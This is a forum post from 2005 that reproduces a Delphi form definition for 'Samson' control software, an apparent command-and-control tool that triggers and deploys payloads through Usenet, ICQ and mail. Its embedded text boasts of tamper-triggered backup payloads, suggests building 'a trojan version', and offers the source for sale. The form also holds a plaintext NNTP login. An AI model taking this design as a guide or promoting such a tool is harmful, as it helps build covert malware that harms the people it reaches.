    'Pairing is different, when a pairing code is encountered, its tw' +
    'in goes active immediately'

    'the crypto is embedded in the header of the posting along with t' +
    'he group trigger codes'

    'each installation has a trigger code which is unique & another w' +
    'hich can be set by the deployer'

    'of course if the author'#39's SAMSON net ever goes active, you will ' +
    'receive the full source as part of the '
    'payload (active '
    'version only)'

    'Author'#39's most recent versions target usenet, icq, mail & more be' +
    'ing added to each new version'

    'The recent versions also have tamper detection, if the payload i' +
    's interfered with, the backup payload is '
    'locked, loaded '
    '& deployed, OUCH!'
    'Want to be really creative? do a trojan version'
    'Want source code for this module?'
    'Just takes money, my paypal account is'
    'Email me at'

    'Cost 50 euros for SCC control software & information on how to c' +
    'reate Samson newsflash servers')
    ReadOnly = True
    TabOrder = 0
    end
    end
    object LogTab: TTabSheet
    Caption = 'Log'
    ImageIndex = 7
    object Log: TMemo
    Left = 0
    Top = 0
    Width = 687
    Height = 346
    Align = alClient
    TabOrder = 0
    OnDblClick = LogDblClick
    end
    end
    end
    object ToolBar5: TToolBar
    Left = 0
    Top = 0
    Width = 695
    Height = 24
    ButtonHeight = 21
    ButtonWidth = 61
    Caption = 'ToolBar1'
    Flat = True
    ShowCaptions = True
    TabOrder = 1
    object ConnectBtn: TToolButton
    Left = 0
    Top = 0
    Caption = 'Connect'
    ImageIndex = 0
    OnClick = ConnectBtnClick
    end
    object GroupsButton: TToolButton
    Left = 61
    Top = 0
    Caption = 'Get Groups'
    ImageIndex = 3
    OnClick = GroupsButtonClick
    end
    object ToolButton4: TToolButton
    Left = 122
    Top = 0
    Width = 8
    Caption = 'ToolButton4'
    ImageIndex = 4
    Style = tbsSeparator
    end
    object SaveButton: TToolButton
    Left = 130
    Top = 0
    Caption = 'Save'
    ImageIndex = 3
    OnClick = SaveButtonClick
    end
    object LoadButton: TToolButton
    Left = 191
    Top = 0
    Caption = 'Load'
    ImageIndex = 3
    OnClick = LoadButtonClick
    end
    object ToolButton3: TToolButton
    Left = 252
    Top = 0
    Width = 8
    Caption = 'ToolButton3'
    ImageIndex = 5
    Style = tbsSeparator
    end
    object UploadBtn: TToolButton
    Left = 260
    Top = 0
    Caption = 'Upload'
    ImageIndex = 1
    OnClick = UploadBtnClick
    end
    object Cloaked: TToolButton
    Left = 321
    Top = 0
    Caption = 'Cloaked'
    ImageIndex = 3
    OnClick = CloakedClick
    end
    object Flashed: TToolButton
    Left = 382
    Top = 0
    Caption = 'Flashed'
    ImageIndex = 4
    OnClick = FlashedClick
    end
    object ToolButton8: TToolButton
    Left = 443
    Top = 0
    Width = 8
    Caption = 'ToolButton8'
    ImageIndex = 3
    Style = tbsSeparator
    end
    object ExitButton: TToolButton
    Left = 451
    Top = 0
    Caption = 'Exit'
    ImageIndex = 2
    OnClick = ExitButtonClick
    end
    end
    object StatusBar: TStatusBar
    Left = 0
    Top = 398
    Width = 695
    Height = 19
    Panels = <
    item
    Width = 150
    end
    item
    Width = 150
    end
    item
    Width = 150
    end>
    SimpleText = 'Compile'
    end
    object IdAntiFreeze1: TIdAntiFreeze
    Left = 228
    Top = 368
    end
    object nntp: TIdNNTP
    MaxLineAction = maException
    ReadTimeout = 0
    OnDisconnected = nntpDisconnected
    OnConnected = nntpConnected
    NewsAgent = 'Newsflash'
    Password = 'login'
    Username = 'peter'
    OnNewsgroupList = nntpNewGroupsList
    OnNewGroupsList = nntpNewGroupsList
    Left = 196
    Top = 368
    end
    object icq: TICQClient
    ProxyPort = 0
    UIN = 0
    ICQServer = 'login.icq.com'
    ICQPort = 5190
    PortRangeFirst = 3000
    PortRangeLast = 50000
    ConvertToPlaintext = False
    ConnectionTimeout = 0
    Left = 260
    Top = 368
    end
    object message: TIdMessage
    AttachmentEncoding = 'MIME'
    BccList = <>
    CCList = <>
    Encoding = meMIME
    Recipients = <>
    ReplyTo = <>
    Left = 164
    Top = 368
    end
    object OpenDialog: TOpenDialog
    DefaultExt = 'scc'
    Filter = 'Samson control file (*.scc)|*.scc|All files (*.*)|*.*'
    Options = [ofEnableSizing]
    Left = 372
    Top = 368
    end
    object SaveDialog: TSaveDialog
    DefaultExt = 'scc'
    FileName = 'default.scc'
    Filter =
    'News Server List (*.nsl)|*.nsl|All files (*.*)|*.*|Samson Server' +
    ' List (*.ssl)|*.ssl|Samson control file (*.scc)|*.scc'
    FilterIndex = 3
    Options = [ofEnableSizing]
    Left = 340
    Top = 368
    end
    object StoreReg: TJvAppRegistryStorage
    StorageOptions.BooleanStringTrueValues = 'TRUE, YES, Y'
    StorageOptions.BooleanStringFalseValues = 'FALSE, NO, N'
    Root = 'Software\Samson'
    SubStorages = <>
    Left = 51
    Top = 368
    end
    object RegStorage: TJvFormStorage
    AppStorage = StoreReg
    AppStoragePath = 'SCC\'
    StoredProps.Strings = (
    'nntp.Host'
    'nntp.Mode'
    'nntp.Password'
    'nntp.Username'
    'nntp.Port'
    'icq.AutoAwayMessage'
    'icq.ICQPort'
    'icq.ICQServer'
    'icq.Password'
    'icq.UIN'
    'PrimaryDelay.Value'
    'WindowPeriod.Value'
    'NGProcessCount.Value'
    'PrimingPeriod.Value'
    'TriggerPeriod.Value'
    'PrimaryVariance.Value'
    'IcqWindowVariance.Value'
    'IcqWindowPeriod.Value'
    'IcqPollingPeriod.Value'
    'IcqPollingVariance.Value'
    'WindowVariance.Value'
    'PostingsProcessCount.Value'
    'PrimingVariance.Value'
    'TriggerVariance.Value'
    'Throttle.Value'
    'ThrottleVariance.Value'
    'PollingPeriod.Value'
    'PollingVariance.Value'
    'NameEdit.Text'
    'NewsHost.Text'
    'PasswordEdit.Text'
    'ReplyEdit.Text'
    'subjectedit.Text'
    'UserName.Text')
    StoredValues = <>
    Left = 20
    Top = 368
    end
    object XMLStorage: TJvAppXMLFileStorage
    StorageOptions.BooleanStringTrueValues = 'TRUE, YES, Y'
    StorageOptions.BooleanStringFalseValues = 'FALSE, NO, N'
    RootNodeName = 'Configuration'
    SubStorages = <>
    Left = 116
    Top = 368
    end
    object FileStorage: TJvFormStorage
    AppStorage = XMLStorage
    AppStoragePath = 'SCC\'
    StoredProps.Strings = (
    'nntp.Host'
    'nntp.Mode'
    'nntp.Password'
    'nntp.Username'
    'nntp.Port'
    'icq.AutoAwayMessage'
    'icq.ICQPort'
    'icq.ICQServer'
    'icq.Password'
    'icq.UIN'
    'PrimaryDelay.Value'
    'WindowPeriod.Value'
    'NGProcessCount.Value'
    'PrimingPeriod.Value'
    'TriggerPeriod.Value'
    'PrimaryVariance.Value'
    'IcqWindowVariance.Value'
    'IcqWindowPeriod.Value'
    'IcqPollingPeriod.Value'
    'IcqPollingVariance.Value'
    'WindowVariance.Value'
    'PostingsProcessCount.Value'
    'PrimingVariance.Value'
    'TriggerVariance.Value'
    'Throttle.Value'
    'ThrottleVariance.Value'
    'PollingPeriod.Value'
    'PollingVariance.Value'
    'SCCE.Strings'
    'SLE.Strings'
    'CloakingMessage.Lines'
    'NameEdit.Text'
    'NewsHost.Text'
    'subjectedit.Text')
    StoredValues = <>
    Left = 84
    Top = 368
    end
    object DCP_blowfish1: TDCP_blowfish
    Algorithm = 'Blowfish'
    BlockSize = 64
    MaxKeySize = 448
    Left = 244
    Top = 272
    end
    object DCP_sha11: TDCP_sha1
    Algorithm = 'SHA1'
    HashSize = 160
    Left = 244
    Top = 304
    end
    object DCP_gost1: TDCP_gost
    Algorithm = 'Gost'
    BlockSize = 64
    MaxKeySize = 256
    Left = 244
    Top = 336
    end
    object DCP_idea1: TDCP_idea
    Algorithm = 'IDEA'
    BlockSize = 64
    MaxKeySize = 128
    Left = 308
    Top = 240
    end
    object DCP_mars1: TDCP_mars
    Algorithm = 'Mars'
    BlockSize = 128
    MaxKeySize = 1248
    Left = 308
    Top = 272
    end
    object DCP_misty11: TDCP_misty1
    Algorithm = 'Misty1'
    BlockSize = 64
    MaxKeySize = 128
    Left = 276
    Top = 336
    end
    object DCP_rc21: TDCP_rc2
    Algorithm = 'RC2'
    BlockSize = 64
    MaxKeySize = 1024
    Left = 276
    Top = 272
    end
    object DCP_rc51: TDCP_rc5
    Algorithm = 'RC5'
    BlockSize = 64
    MaxKeySize = 2048
    Left = 276
    Top = 240
    end
    object DCP_rc61: TDCP_rc6
    Algorithm = 'RC6'
    BlockSize = 128
    MaxKeySize = 2048
    Left = 308
    Top = 304
    end
    object DCP_rijndael1: TDCP_rijndael
    Algorithm = 'Rijndael'
    BlockSize = 128
    MaxKeySize = 256
    Left = 276
    Top = 304
    end
    object DCP_twofish1: TDCP_twofish
    Algorithm = 'Twofish'
    BlockSize = 128
    MaxKeySize = 256
    Left = 308
    Top = 336
    end
    object IniStorage: TJvFormStorage
    AppStorage = StoreReg
    AppStoragePath = 'NEWSFLASH\'
    Options = []
    Version = 2
    StoredValues = <
    item
    Name = 'NGListFile'
    Value = ''
    end
    item
    Name = 'subjectindex'
    Value = 0
    end
    item
    Name = 'groupindex'
    Value = 0
    end>
    Left = 296
    Top = 369
    end
    end
     
    underdog bites back, Dec 12, 2005
    #1
    1. Advertising

Want to reply to this thread or ask your own question?

It takes just 2 minutes to sign up (and it's free!). Just click the sign up button to choose a username and then you can ask your own questions on the forum.
Similar Threads
  1. Trevor Smithson
    Replies:
    5
    Views:
    1,020
    Blinky the Shark
    May 25, 2005
  2. Trevor Smithson
    Replies:
    1
    Views:
    597
  3. Kue2

    msn search tool & plishing tool

    Kue2, Sep 2, 2005, in forum: Windows 64bit
    Replies:
    1
    Views:
    550
    Andre Da Costa
    Sep 2, 2005
  4. Giuen
    Replies:
    0
    Views:
    1,001
    Giuen
    Sep 12, 2008
  5. bbiandov
    Replies:
    0
    Views:
    2,043
    bbiandov
    Dec 22, 2008
Loading...

Share This Page